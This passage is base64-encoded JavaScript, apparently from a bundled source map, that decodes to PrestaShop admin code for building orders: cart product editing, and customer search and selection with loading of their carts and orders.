IEBwYXJhbSBldmVudFxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgaW5pdFByb2R1Y3RTZWFyY2goZXZlbnQpIHtcbiAgICBjb25zdCAkcHJvZHVjdFNlYXJjaElucHV0ID0gJChldmVudC5jdXJyZW50VGFyZ2V0KTtcbiAgICBjb25zdCBzZWFyY2hQaHJhc2UgPSAkcHJvZHVjdFNlYXJjaElucHV0LnZhbCgpO1xuICAgIGNsZWFyVGltZW91dCh0aGlzLnRpbWVvdXRJZCk7XG5cbiAgICB0aGlzLnRpbWVvdXRJZCA9IHNldFRpbWVvdXQoKCkgPT4gdGhpcy5wcm9kdWN0TWFuYWdlci5zZWFyY2goc2VhcmNoUGhyYXNlKSwgMzAwKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBJbml0cyBwcm9kdWN0IHJlbW92aW5nIGZyb20gY2FydFxuICAgKlxuICAgKiBAcGFyYW0gZXZlbnRcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIGluaXRQcm9kdWN0UmVtb3ZlRnJvbUNhcnQoZXZlbnQpIHtcbiAgICBjb25zdCBwcm9kdWN0UXR5ID0gTnVtYmVyKCQoZXZlbnQuY3VycmVudFRhcmdldCkucGFyZW50cygpLmZpbmQoY3JlYXRlT3JkZXJNYXAubGlzdGVkUHJvZHVjdFF0eUlucHV0KS52YWwoKSk7XG4gICAgY29uc3QgcHJvZHVjdCA9IHtcbiAgICAgIHByb2R1Y3RJZDogJChldmVudC5jdXJyZW50VGFyZ2V0KS5kYXRhKCdwcm9kdWN0LWlkJyksXG4gICAgICBhdHRyaWJ1dGVJZDogJChldmVudC5jdXJyZW50VGFyZ2V0KS5kYXRhKCdhdHRyaWJ1dGUtaWQnKSxcbiAgICAgIGN1c3RvbWl6YXRpb25JZDogJChldmVudC5jdXJyZW50VGFyZ2V0KS5kYXRhKCdjdXN0b21pemF0aW9uLWlkJyksXG4gICAgICBxdHlUb1JlbW92ZTogcHJvZHVjdFF0eSxcbiAgICB9O1xuXG4gICAgdGhpcy5wcm9kdWN0TWFuYWdlci5yZW1vdmVQcm9kdWN0RnJvbUNhcnQodGhpcy5jYXJ0SWQsIHByb2R1Y3QpO1xuICB9XG5cbiAgLyoqXG4gICAqIEluaXRzIHByb2R1Y3QgaW4gY2FydCBwcmljZSBjaGFuZ2VcbiAgICpcbiAgICogQHBhcmFtIGV2ZW50XG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBpbml0UHJvZHVjdENoYW5nZVByaWNlKGV2ZW50KSB7XG4gICAgY29uc3QgcHJvZHVjdCA9IHtcbiAgICAgIHByb2R1Y3RJZDogJChldmVudC5jdXJyZW50VGFyZ2V0KS5kYXRhKCdwcm9kdWN0LWlkJyksXG4gICAgICBhdHRyaWJ1dGVJZDogJChldmVudC5jdXJyZW50VGFyZ2V0KS5kYXRhKCdhdHRyaWJ1dGUtaWQnKSxcbiAgICAgIGN1c3RvbWl6YXRpb25JZDogJChldmVudC5jdXJyZW50VGFyZ2V0KS5kYXRhKCdjdXN0b21pemF0aW9uLWlkJyksXG4gICAgICBwcmljZTogJChldmVudC5jdXJyZW50VGFyZ2V0KS52YWwoKSxcbiAgICB9O1xuICAgIHRoaXMucHJvZHVjdE1hbmFnZXIuY2hhbmdlUHJvZHVjdFByaWNlKHRoaXMuY2FydElkLCB0aGlzLmN1c3RvbWVySWQsIHByb2R1Y3QpO1xuICB9XG5cbiAgLyoqXG4gICAqIEluaXRzIHByb2R1Y3QgaW4gY2FydCBxdWFudGl0eSB1cGRhdGVcbiAgICpcbiAgICogQHBhcmFtIGV2ZW50XG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBpbml0UHJvZHVjdENoYW5nZVF0eShldmVudCkge1xuICAgIGNvbnN0IHByb2R1Y3QgPSB7XG4gICAgICBwcm9kdWN0SWQ6ICQoZXZlbnQuY3VycmVudFRhcmdldCkuZGF0YSgncHJvZHVjdC1pZCcpLFxuICAgICAgYXR0cmlidXRlSWQ6ICQoZXZlbnQuY3VycmVudFRhcmdldCkuZGF0YSgnYXR0cmlidXRlLWlkJyksXG4gICAgICBjdXN0b21pemF0aW9uSWQ6ICQoZXZlbnQuY3VycmVudFRhcmdldCkuZGF0YSgnY3VzdG9taXphdGlvbi1pZCcpLFxuICAgICAgbmV3UXR5OiAkKGV2ZW50LmN1cnJlbnRUYXJnZXQpLnZhbCgpLFxuICAgICAgcHJldlF0eTogJChldmVudC5jdXJyZW50VGFyZ2V0KS5kYXRhKCdwcmV2LXF0eScpLFxuICAgIH07XG5cbiAgICBpZiAoXG4gICAgICB0eXBlb2YgcHJvZHVjdC5wcm9kdWN0SWQgIT09ICd1bmRlZmluZWQnXG4gICAgICAmJiBwcm9kdWN0LnByb2R1Y3RJZCAhPT0gbnVsbFxuICAgICAgJiYgdHlwZW9mIHByb2R1Y3QuYXR0cmlidXRlSWQgIT09ICd1bmRlZmluZWQnXG4gICAgICAmJiBwcm9kdWN0LmF0dHJpYnV0ZUlkICE9PSBudWxsXG4gICAgKSB7XG4gICAgICB0aGlzLnByb2R1Y3RNYW5hZ2VyLmNoYW5nZVByb2R1Y3RRdHkodGhpcy5jYXJ0SWQsIHByb2R1Y3QpO1xuICAgIH0gZWxzZSB7XG4gICAgICBjb25zdCBpbnB1dHNRdHkgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKGNyZWF0ZU9yZGVyTWFwLmxpc3RlZFByb2R1Y3RRdHlJbnB1dCk7XG5cbiAgICAgIGlucHV0c1F0eS5mb3JFYWNoKChpbnB1dFF0eSkgPT4ge1xuICAgICAgICBpbnB1dFF0eS5kaXNhYmxlZCA9IGZhbHNlO1xuICAgICAgfSk7XG4gICAgfVxuICB9XG5cbiAgLyoqXG4gICAqIFJlbmRlcnMgY2FydCBzdW1tYXJ5IG9uIHRoZSBwYWdlXG4gICAqXG4gICAqIEBwYXJhbSB7T2JqZWN0fSBjYXJ0SW5mb1xuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgcmVuZGVyQ2FydEluZm8oY2FydEluZm8pIHtcbiAgICB0aGlzLmFkZHJlc3Nlc1JlbmRlcmVyLnJlbmRlcihjYXJ0SW5mby5hZGRyZXNzZXMsIGNhcnRJbmZvLmNhcnRJZCk7XG4gICAgdGhpcy5jYXJ0UnVsZXNSZW5kZXJlci5yZW5kZXJDYXJ0UnVsZXNCbG9jayhjYXJ0SW5mby5jYXJ0UnVsZXMsIGNhcnRJbmZvLnByb2R1Y3RzLmxlbmd0aCA9PT0gMCk7XG4gICAgdGhpcy5zaGlwcGluZ1JlbmRlcmVyLnJlbmRlcihjYXJ0SW5mby5zaGlwcGluZywgY2FydEluZm8ucHJvZHVjdHMubGVuZ3RoID09PSAwKTtcbiAgICB0aGlzLnByb2R1Y3RSZW5kZXJlci5jbGVhbkNhcnRCbG9ja0FsZXJ0cygpO1xuICAgIHRoaXMucHJvZHVjdFJlbmRlcmVyLnJlbmRlckxpc3QoY2FydEluZm8ucHJvZHVjdHMpO1xuICAgIHRoaXMuc3VtbWFyeVJlbmRlcmVyLnJlbmRlcihjYXJ0SW5mbyk7XG4gICAgdGhpcy5wcmVzZWxlY3RDYXJ0Q3VycmVuY3koY2FydEluZm8uY3VycmVuY3lJZCk7XG4gICAgdGhpcy5wcmVzZWxlY3RDYXJ0TGFuZ3VhZ2UoY2FydEluZm8ubGFuZ0lkKTtcblxuICAgICQoY3JlYXRlT3JkZXJNYXAuY2FydEJsb2NrKS5yZW1vdmVDbGFzcygnZC1ub25lJyk7XG4gICAgJChjcmVhdGVPcmRlck1hcC5jYXJ0QmxvY2spLmRhdGEoJ2NhcnRJZCcsIGNhcnRJbmZvLmNhcnRJZCk7XG4gIH1cblxuICAvKipcbiAgICogU2V0cyBjYXJ0IGN1cnJlbmN5IHNlbGVjdGlvbiB2YWx1ZVxuICAgKlxuICAgKiBAcGFyYW0gY3VycmVuY3lJZFxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgcHJlc2VsZWN0Q2FydEN1cnJlbmN5KGN1cnJlbmN5SWQpIHtcbiAgICAkKGNyZWF0ZU9yZGVyTWFwLmNhcnRDdXJyZW5jeVNlbGVjdCkudmFsKGN1cnJlbmN5SWQpO1xuICB9XG5cbiAgLyoqXG4gICAqIFNldHMgY2FydCBsYW5ndWFnZSBzZWxlY3Rpb24gdmFsdWVcbiAgICpcbiAgICogQHBhcmFtIGxhbmdJZFxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgcHJlc2VsZWN0Q2FydExhbmd1YWdlKGxhbmdJZCkge1xuICAgICQoY3JlYXRlT3JkZXJNYXAuY2FydExhbmd1YWdlU2VsZWN0KS52YWwobGFuZ0lkKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBDaGFuZ2VzIGNhcnQgYWRkcmVzc2VzXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBjaGFuZ2VDYXJ0QWRkcmVzc2VzKCkge1xuICAgIGNvbnN0IGFkZHJlc3NlcyA9IHtcbiAgICAgIGRlbGl2ZXJ5QWRkcmVzc0lkOiAkKGNyZWF0ZU9yZGVyTWFwLmRlbGl2ZXJ5QWRkcmVzc1NlbGVjdCkudmFsKCksXG4gICAgICBpbnZvaWNlQWRkcmVzc0lkOiAkKGNyZWF0ZU9yZGVyTWFwLmludm9pY2VBZGRyZXNzU2VsZWN0KS52YWwoKSxcbiAgICB9O1xuXG4gICAgdGhpcy5jYXJ0RWRpdG9yLmNoYW5nZUNhcnRBZGRyZXNzZXModGhpcy5jYXJ0SWQsIGFkZHJlc3Nlcyk7XG4gIH1cblxuICAvKipcbiAgICogUmVmcmVzaCBhZGRyZXNzZXMgbGlzdFxuICAgKlxuICAgKiBAcGFyYW0ge2Jvb2xlYW59IHJlZnJlc2hDYXJ0QWRkcmVzc2VzIG9wdGlvbmFsXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICByZWZyZXNoQWRkcmVzc2VzTGlzdChyZWZyZXNoQ2FydEFkZHJlc3Nlcykge1xuICAgIGNvbnN0IGNhcnRJZCA9ICQoY3JlYXRlT3JkZXJNYXAuY2FydEJsb2NrKS5kYXRhKCdjYXJ0SWQnKTtcbiAgICAkLmdldCh0aGlzLnJvdXRlci5nZW5lcmF0ZSgnYWRtaW5fY2FydHNfaW5mbycsIHtjYXJ0SWR9KSkudGhlbigoY2FydEluZm8pID0+IHtcbiAgICAgIHRoaXMuYWRkcmVzc2VzUmVuZGVyZXIucmVuZGVyKGNhcnRJbmZvLmFkZHJlc3NlcywgY2FydEluZm8uY2FydElkKTtcblxuICAgICAgaWYgKHJlZnJlc2hDYXJ0QWRkcmVzc2VzKSB7XG4gICAgICAgIHRoaXMuY2hhbmdlQ2FydEFkZHJlc3NlcygpO1xuICAgICAgfVxuICAgIH0pLmNhdGNoKChlKSA9PiB7XG4gICAgICB3aW5kb3cuc2hvd0Vycm9yTWVzc2FnZShlLnJlc3BvbnNlSlNPTi5tZXNzYWdlKTtcbiAgICB9KTtcbiAgfVxuXG4gIC8qKlxuICAgKiBwcm94eSB0byBhbGxvdyBvdGhlciBzY3JpcHRzIHdpdGhpbiB0aGUgcGFnZSB0byByZWZyZXNoIGFkZHJlc3NlcyBsaXN0XG4gICAqL1xuICByZWZyZXNoQ2FydCgpIHtcbiAgICBjb25zdCBjYXJ0SWQgPSAkKGNyZWF0ZU9yZGVyTWFwLmNhcnRCbG9jaykuZGF0YSgnY2FydElkJyk7XG4gICAgdGhpcy5jYXJ0UHJvdmlkZXIuZ2V0Q2FydChjYXJ0SWQpO1xuICB9XG59XG4iLCIvKipcbiAqIENvcHlyaWdodCBzaW5jZSAyMDA3IFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9yc1xuICogUHJlc3RhU2hvcCBpcyBhbiBJbnRlcm5hdGlvbmFsIFJlZ2lzdGVyZWQgVHJhZGVtYXJrICYgUHJvcGVydHkgb2YgUHJlc3RhU2hvcCBTQVxuICpcbiAqIE5PVElDRSBPRiBMSUNFTlNFXG4gKlxuICogVGhpcyBzb3VyY2UgZmlsZSBpcyBzdWJqZWN0IHRvIHRoZSBPcGVuIFNvZnR3YXJlIExpY2Vuc2UgKE9TTCAzLjApXG4gKiB0aGF0IGlzIGJ1bmRsZWQgd2l0aCB0aGlzIHBhY2thZ2UgaW4gdGhlIGZpbGUgTElDRU5TRS5tZC5cbiAqIEl0IGlzIGFsc28gYXZhaWxhYmxlIHRocm91Z2ggdGhlIHdvcmxkLXdpZGUtd2ViIGF0IHRoaXMgVVJMOlxuICogaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9PU0wtMy4wXG4gKiBJZiB5b3UgZGlkIG5vdCByZWNlaXZlIGEgY29weSBvZiB0aGUgbGljZW5zZSBhbmQgYXJlIHVuYWJsZSB0b1xuICogb2J0YWluIGl0IHRocm91Z2ggdGhlIHdvcmxkLXdpZGUtd2ViLCBwbGVhc2Ugc2VuZCBhbiBlbWFpbFxuICogdG8gbGljZW5zZUBwcmVzdGFzaG9wLmNvbSBzbyB3ZSBjYW4gc2VuZCB5b3UgYSBjb3B5IGltbWVkaWF0ZWx5LlxuICpcbiAqIERJU0NMQUlNRVJcbiAqXG4gKiBEbyBub3QgZWRpdCBvciBhZGQgdG8gdGhpcyBmaWxlIGlmIHlvdSB3aXNoIHRvIHVwZ3JhZGUgUHJlc3RhU2hvcCB0byBuZXdlclxuICogdmVyc2lvbnMgaW4gdGhlIGZ1dHVyZS4gSWYgeW91IHdpc2ggdG8gY3VzdG9taXplIFByZXN0YVNob3AgZm9yIHlvdXJcbiAqIG5lZWRzIHBsZWFzZSByZWZlciB0byBodHRwczovL2RldmRvY3MucHJlc3Rhc2hvcC5jb20vIGZvciBtb3JlIGluZm9ybWF0aW9uLlxuICpcbiAqIEBhdXRob3IgICAgUHJlc3RhU2hvcCBTQSBhbmQgQ29udHJpYnV0b3JzIDxjb250YWN0QHByZXN0YXNob3AuY29tPlxuICogQGNvcHlyaWdodCBTaW5jZSAyMDA3IFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9yc1xuICogQGxpY2Vuc2UgICBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL09TTC0zLjAgT3BlbiBTb2Z0d2FyZSBMaWNlbnNlIChPU0wgMy4wKVxuICovXG5cbmltcG9ydCBjcmVhdGVPcmRlck1hcCBmcm9tICdAcGFnZXMvb3JkZXIvY3JlYXRlL2NyZWF0ZS1vcmRlci1tYXAnO1xuaW1wb3J0IEN1c3RvbWVyUmVuZGVyZXIgZnJvbSAnQHBhZ2VzL29yZGVyL2NyZWF0ZS9jdXN0b21lci1yZW5kZXJlcic7XG5pbXBvcnQge0V2ZW50RW1pdHRlcn0gZnJvbSAnQGNvbXBvbmVudHMvZXZlbnQtZW1pdHRlcic7XG5pbXBvcnQgZXZlbnRNYXAgZnJvbSAnQHBhZ2VzL29yZGVyL2NyZWF0ZS9ldmVudC1tYXAnO1xuaW1wb3J0IFJvdXRlciBmcm9tICdAY29tcG9uZW50cy9yb3V0ZXInO1xuXG5jb25zdCB7JH0gPSB3aW5kb3c7XG5cbi8qKlxuICogUmVzcG9uc2libGUgZm9yIGN1c3RvbWVycyBtYW5hZ2luZy4gKHNlYXJjaCwgc2VsZWN0LCBnZXQgY3VzdG9tZXIgaW5mbyBldGMuKVxuICovXG5leHBvcnQgZGVmYXVsdCBjbGFzcyBDdXN0b21lck1hbmFnZXIge1xuICBjb25zdHJ1Y3RvcigpIHtcbiAgICB0aGlzLmN1c3RvbWVySWQgPSBudWxsO1xuICAgIHRoaXMuYWN0aXZlU2VhcmNoUmVxdWVzdCA9IG51bGw7XG5cbiAgICB0aGlzLnJvdXRlciA9IG5ldyBSb3V0ZXIoKTtcbiAgICB0aGlzLiRjb250YWluZXIgPSAkKGNyZWF0ZU9yZGVyTWFwLmN1c3RvbWVyU2VhcmNoQmxvY2spO1xuICAgIHRoaXMuJHNlYXJjaElucHV0ID0gJChjcmVhdGVPcmRlck1hcC5jdXN0b21lclNlYXJjaElucHV0KTtcbiAgICB0aGlzLiRjdXN0b21lclNlYXJjaFJlc3VsdEJsb2NrID0gJChjcmVhdGVPcmRlck1hcC5jdXN0b21lclNlYXJjaFJlc3VsdHNCbG9jayk7XG4gICAgdGhpcy5jdXN0b21lclJlbmRlcmVyID0gbmV3IEN1c3RvbWVyUmVuZGVyZXIoKTtcblxuICAgIHRoaXMuaW5pdExpc3RlbmVycygpO1xuICAgIHRoaXMuaW5pdEFkZEN1c3RvbWVySWZyYW1lKCk7XG5cbiAgICByZXR1cm4ge1xuICAgICAgc2VhcmNoOiAoc2VhcmNoUGhyYXNlKSA9PiB0aGlzLnNlYXJjaChzZWFyY2hQaHJhc2UpLFxuICAgICAgc2VsZWN0Q3VzdG9tZXI6IChldmVudCkgPT4gdGhpcy5zZWxlY3RDdXN0b21lcihldmVudCksXG4gICAgICBsb2FkQ3VzdG9tZXJDYXJ0czogKGN1cnJlbnRDYXJ0SWQpID0+IHRoaXMubG9hZEN1c3RvbWVyQ2FydHMoY3VycmVudENhcnRJZCksXG4gICAgICBsb2FkQ3VzdG9tZXJPcmRlcnM6ICgpID0+IHRoaXMubG9hZEN1c3RvbWVyT3JkZXJzKCksXG4gICAgfTtcbiAgfVxuXG4gIC8qKlxuICAgKiBJbml0aWFsaXplcyBldmVudCBsaXN0ZW5lcnNcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIGluaXRMaXN0ZW5lcnMoKSB7XG4gICAgdGhpcy4kY29udGFpbmVyLm9uKCdjbGljaycsIGNyZWF0ZU9yZGVyTWFwLmNoYW5nZUN1c3RvbWVyQnRuLCAoKSA9PiB0aGlzLmNoYW5nZUN1c3RvbWVyKCkpO1xuICAgIHRoaXMub25DdXN0b21lclNlYXJjaCgpO1xuICAgIHRoaXMub25DdXN0b21lclNlbGVjdCgpO1xuICAgIHRoaXMub25DdXN0b21lcnNOb3RGb3VuZCgpO1xuICB9XG5cbiAgLyoqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBpbml0QWRkQ3VzdG9tZXJJZnJhbWUoKSB7XG4gICAgJChjcmVhdGVPcmRlck1hcC5jdXN0b21lckFkZEJ0bikuZmFuY3lib3goe1xuICAgICAgdHlwZTogJ2lmcmFtZScsXG4gICAgICB3aWR0aDogJzkwJScsXG4gICAgICBoZWlnaHQ6ICc5MCUnLFxuICAgIH0pO1xuICB9XG5cbiAgLyoqXG4gICAqIExpc3RlbnMgZm9yIGN1c3RvbWVyIHNlYXJjaCBldmVudFxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgb25DdXN0b21lclNlYXJjaCgpIHtcbiAgICBFdmVudEVtaXR0ZXIub24oZXZlbnRNYXAuY3VzdG9tZXJTZWFyY2hlZCwgKHJlc3BvbnNlKSA9PiB7XG4gICAgICB0aGlzLmFjdGl2ZVNlYXJjaFJlcXVlc3QgPSBudWxsO1xuICAgICAgdGhpcy5jdXN0b21lclJlbmRlcmVyLmhpZGVTZWFyY2hpbmdDdXN0b21lcnMoKTtcblxuICAgICAgaWYgKHJlc3BvbnNlLmN1c3RvbWVycy5sZW5ndGggPT09IDApIHtcbiAgICAgICAgRXZlbnRFbWl0dGVyLmVtaXQoZXZlbnRNYXAuY3VzdG9tZXJzTm90Rm91bmQpO1xuXG4gICAgICAgIHJldHVybjtcbiAgICAgIH1cblxuICAgICAgdGhpcy5jdXN0b21lclJlbmRlcmVyLnJlbmRlclNlYXJjaFJlc3VsdHMocmVzcG9uc2UuY3VzdG9tZXJzKTtcbiAgICB9KTtcbiAgfVxuXG4gIC8qKlxuICAgKiBMaXN0ZW5zIGZvciBldmVudCBvZiB3aGVuIG5vIGN1c3RvbWVycyB3ZXJlIGZvdW5kIGJ5IHNlYXJjaFxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgb25DdXN0b21lcnNOb3RGb3VuZCgpIHtcbiAgICBFdmVudEVtaXR0ZXIub24oZXZlbnRNYXAuY3VzdG9tZXJzTm90Rm91bmQsICgpID0+IHtcbiAgICAgIHRoaXMuY3VzdG9tZXJSZW5kZXJlci5zaG93Tm90Rm91bmRDdXN0b21lcnMoKTtcbiAgICAgIHRoaXMuY3VzdG9tZXJSZW5kZXJlci5oaWRlQ2hlY2tvdXRIaXN0b3J5QmxvY2soKTtcbiAgICB9KTtcbiAgfVxuXG4gIC8qKlxuICAgKiBMaXN0ZW5zIGZvciBjdXN0b21lciBzZWxlY3QgZXZlbnRcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIG9uQ3VzdG9tZXJTZWxlY3QoKSB7XG4gICAgRXZlbnRFbWl0dGVyLm9uKGV2ZW50TWFwLmN1c3RvbWVyU2VsZWN0ZWQsIChldmVudCkgPT4ge1xuICAgICAgY29uc3QgJGNob29zZUJ0biA9ICQoZXZlbnQuY3VycmVudFRhcmdldCk7XG4gICAgICB0aGlzLmN1c3RvbWVySWQgPSAkY2hvb3NlQnRuLmRhdGEoJ2N1c3RvbWVyLWlkJyk7XG5cbiAgICAgIGNvbnN0IGNyZWF0ZUFkZHJlc3NVcmwgPSB0aGlzLnJvdXRlci5nZW5lcmF0ZShcbiAgICAgICAgJ2FkbWluX2FkZHJlc3Nlc19jcmVhdGUnLFxuICAgICAgICB7XG4gICAgICAgICAgbGl0ZURpc3BsYXlpbmc6IDEsXG4gICAgICAgICAgc3VibWl0Rm9ybUFqYXg6IDEsXG4gICAgICAgICAgaWRfY3VzdG9tZXI6IHRoaXMuY3VzdG9tZXJJZCxcbiAgICAgICAgfSxcbiAgICAgICk7XG4gICAgICAkKGNyZWF0ZU9yZGVyTWFwLmFkZHJlc3NBZGRCdG4pLmF0dHIoJ2hyZWYnLCBjcmVhdGVBZGRyZXNzVXJsKTtcblxuICAgICAgdGhpcy5jdXN0b21lclJlbmRlcmVyLmRpc3BsYXlTZWxlY3RlZEN1c3RvbWVyQmxvY2soJGNob29zZUJ0bik7XG4gICAgfSk7XG4gIH1cblxuICAvKipcbiAgICogSGFuZGxlcyB1c2UgY2FzZSB3aGVuIGN1c3RvbWVyIGlzIGNoYW5nZWRcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIGNoYW5nZUN1c3RvbWVyKCkge1xuICAgIHRoaXMuY3VzdG9tZXJSZW5kZXJlci5zaG93Q3VzdG9tZXJTZWFyY2goKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBMb2FkcyBjdXN0b21lciBjYXJ0cyBsaXN0XG4gICAqXG4gICAqIEBwYXJhbSBjdXJyZW50Q2FydElkXG4gICAqL1xuICBsb2FkQ3VzdG9tZXJDYXJ0cyhjdXJyZW50Q2FydElkKSB7XG4gICAgY29uc3Qge2N1c3RvbWVySWR9ID0gdGhpcztcblxuICAgIHRoaXMuY3VzdG9tZXJSZW5kZXJlci5zaG93TG9hZGluZ0NhcnRzKCk7XG4gICAgJC5nZXQodGhpcy5yb3V0ZXIuZ2VuZXJhdGUoJ2FkbWluX2N1c3RvbWVyc19jYXJ0cycsIHtjdXN0b21lcklkfSkpLnRoZW4oKHJlc3BvbnNlKSA9PiB7XG4gICAgICB0aGlzLmN1c3RvbWVyUmVuZGVyZXIucmVuZGVyQ2FydHMocmVzcG9uc2UuY2FydHMsIGN1cnJlbnRDYXJ0SWQpO1xuICAgIH0pLmNhdGNoKChlKSA9PiB7XG4gICAgICB3aW5kb3cuc2hvd0Vycm9yTWVzc2FnZShlLnJlc3BvbnNlSlNPTi5tZXNzYWdlKTtcbiAgICB9KTtcbiAgfVxuXG4gIC8qKlxuICAgKiBMb2FkcyBjdXN0b21lciBvcmRlcnMgbGlzdFxuICAgKi9cbiAgbG9hZEN1c3RvbWVyT3JkZXJzKCkge1xuICAgIGNvbnN0IHtjdXN0b21lcklkfSA9IHRoaXM7XG5cbiAgICB0aGlzLmN1c3RvbWVyUmVuZGVyZXIuc2hvd0xvYWRpbmdPcmRlcnMoKTtcbiAgICAkLmdldCh0aGlzLnJvdXRlci5nZW5lcmF0ZSgnYWRtaW5fY3VzdG9tZXJzX29yZGVycycsIHtjdXN0b21lcklkfSkpLnRoZW4oKHJlc3BvbnNlKSA9PiB7XG4gICAgICB0aGlzLmN1c3RvbWVyUmVuZGVyZXIucmVuZGVyT3JkZXJzKHJlc3BvbnNlLm9yZGVycyk7XG4gICAgfSkuY2F0Y2goKGUpID0+IHtcbiAgICAgIHdpbmRvdy5zaG93RXJyb3JNZXNzYWdlKGUucmVzcG9uc2VKU09OLm1lc3NhZ2UpO1xuICAgIH0pO1xuICB9XG5cbiAgLyoqXG4gICAqIEBwYXJhbSB7RXZlbnR9IGNob29zZUN1c3RvbWVyRXZlbnRcbiAgICpcbiAgICogQHJldHVybiB7TnVtYmVyfVxuICAgKi9cbiAgc2VsZWN0Q3VzdG9tZXIoY2hvb3NlQ3VzdG9tZXJFdmVudCkge1xuICAgIEV2ZW50RW1pdHRlci5lbWl0KGV2ZW50TWFwLmN1c3RvbWVyU2VsZWN0ZWQsIGNob29zZUN1c3RvbWVyRXZlbnQpO1xuXG4gICAgcmV0dXJuIHRoaXMuY3VzdG9tZXJJZDtcbiAgfVxuXG4gIC8qKlxuICAgKiBTZWFyY2hlcyBmb3IgY3VzdG9tZXJzXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBzZWFyY2goc2VhcmNoUGhyYXNlKSB7XG4gICAgaWYgKHNlYXJjaFBocmFzZS5sZW5ndGggPT09IDApIHtcbiAgICAgIHJldHVybjtcbiAgICB9XG5cbiAgICBpZiAodGhpcy5hY3RpdmVTZWFyY2hSZXF1ZXN0ICE9PSBudWxsKSB7XG4gICAgICB0aGlzLmFjdGl2ZVNlYXJjaFJlcXVlc3QuYWJvcnQoKTtcbiAgICB9XG5cbiAgICB0aGlzLmN1c3RvbWVyUmVuZGVyZXIuY2xlYXJTaG93bkN1c3RvbWVycygpO1xuICAgIHRoaXMuY3VzdG9tZXJSZW5kZXJlci5oaWRlTm90Rm91bmRDdXN0b21lcnMoKTtcbiAgICB0aGlzLmN1c3RvbWVyUmVuZGVyZXIuc2hvd1NlYXJjaGluZ0N1c3RvbWVycygpO1xuICAgIGNvbnN0ICRzZWFyY2hSZXF1ZXN0ID0gJC5nZXQodGhpcy5yb3V0ZXIuZ2VuZXJhdGUoJ2FkbWluX2N1c3RvbWVyc19zZWFyY2gnKSwge1xuICAgICAgY3VzdG9tZXJfc2VhcmNoOiBzZWFyY2hQaHJhc2UsXG4gICAgfSk7XG4gICAgdGhpcy5hY3RpdmVTZWFyY2hSZXF1ZXN0ID0gJHNlYXJjaFJlcXVlc3Q7XG5cbiAgICAkc2VhcmNoUmVxdWVzdC50aGVuKChyZXNwb25zZSkgPT4ge1xuICAgICAgRXZlbnRFbWl0dGVyLmVtaXQoZXZlbnRNYXAuY3VzdG9tZXJTZWFyY2hlZCwgcmVzcG9uc2UpO1xuICAgIH0pLmNhdGNoKChyZXNwb25zZSkgPT4ge1xuICAgICAgaWYgKHJlc3BvbnNlLnN0YXR1c1RleHQgPT09ICdhYm9ydCcpIHtcbiAgICAgICAgcmV0dXJuO1xuICAgICAgfVxuXG4gICAgICB3aW5kb3cuc2hvd0Vycm9yTWVzc2FnZShyZXNwb25zZS5yZXNwb25zZUpTT04ubWVzc2FnZSk7XG4gICAgfSk7XG4gIH1cbn1cbiIsIi8qKlxuICogQ29weXJpZ2h0IHNpbmNlIDIwMDcgUHJlc3RhU2hvcCBTQSBhbmQgQ29udHJpYnV0b3JzXG4gKiBQcmVzdGFTaG9wIGlzIGFuIEludGVybmF0aW9uYWwgUmVnaXN0ZXJlZCBUcmFkZW1hcmsgJiBQcm9wZXJ0eSBvZiBQcmVzdGFTaG9wIFNBXG4gKlxuICogTk9USUNFIE9GIExJQ0VOU0VcbiAqXG4gKiBUaGlzIHNvdXJjZSBmaWxlIGlzIHN1YmplY3QgdG8gdGhlIE9wZW4gU29mdHdhcmUgTGljZW5zZSAoT1NMIDMuMClcbiAqIHRoYXQgaXMgYnVuZGxlZCB3aXRoIHRoaXMgcGFja2FnZSBpbiB0aGUgZmlsZSBMSUNFTlNFLm1kLlxuICogSXQgaXMgYWxzbyBhdmFpbGFibGUgdGhyb3VnaCB0aGUgd29ybGQtd2lkZS13ZWIgYXQgdGhpcyBVUkw6XG4gKiBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL09TTC0zLjBcbiAqIElmIHlvdSBkaWQgbm90IHJlY2VpdmUgYSBjb3B5IG9mIHRoZSBsaWNlbnNlIGFuZCBhcmUgdW5hYmxlIHRvXG4gKiBvYnRhaW4gaXQgdGhyb3VnaCB0aGUgd29ybGQtd2lkZS13ZWIsIHBsZWFzZSBzZW5kIGFuIGVtYWlsXG4gKiB0byBsaWNlbnNlQHByZXN0YXNob3AuY29tIHNvIHdlIGNhbiBzZW5kIHlvdSBhIGNvcHkgaW1tZWRpYXRlbHkuXG4gKlxuICogRElTQ0xBSU1FUlxuICpcbiAqIERvIG5vdCBlZGl0IG9yIGFkZCB0byB0aGlzIGZpbGUgaWYgeW91IHdpc2ggdG8gdXBncmFkZSBQcmVzdGFTaG9wIHRvIG5ld2VyXG4gKiB2ZXJzaW9ucyBpbiB0aGUgZnV0dXJlLiBJZiB5b3Ugd2lzaCB0byBjdXN0b21pemUgUHJlc3RhU2hvcCBmb3IgeW91clxuICogbmVlZHMgcGxlYXNlIHJlZmVyIHRvIGh0dHBzOi8vZGV2ZG9jcy5wcmVzdGFzaG9wLm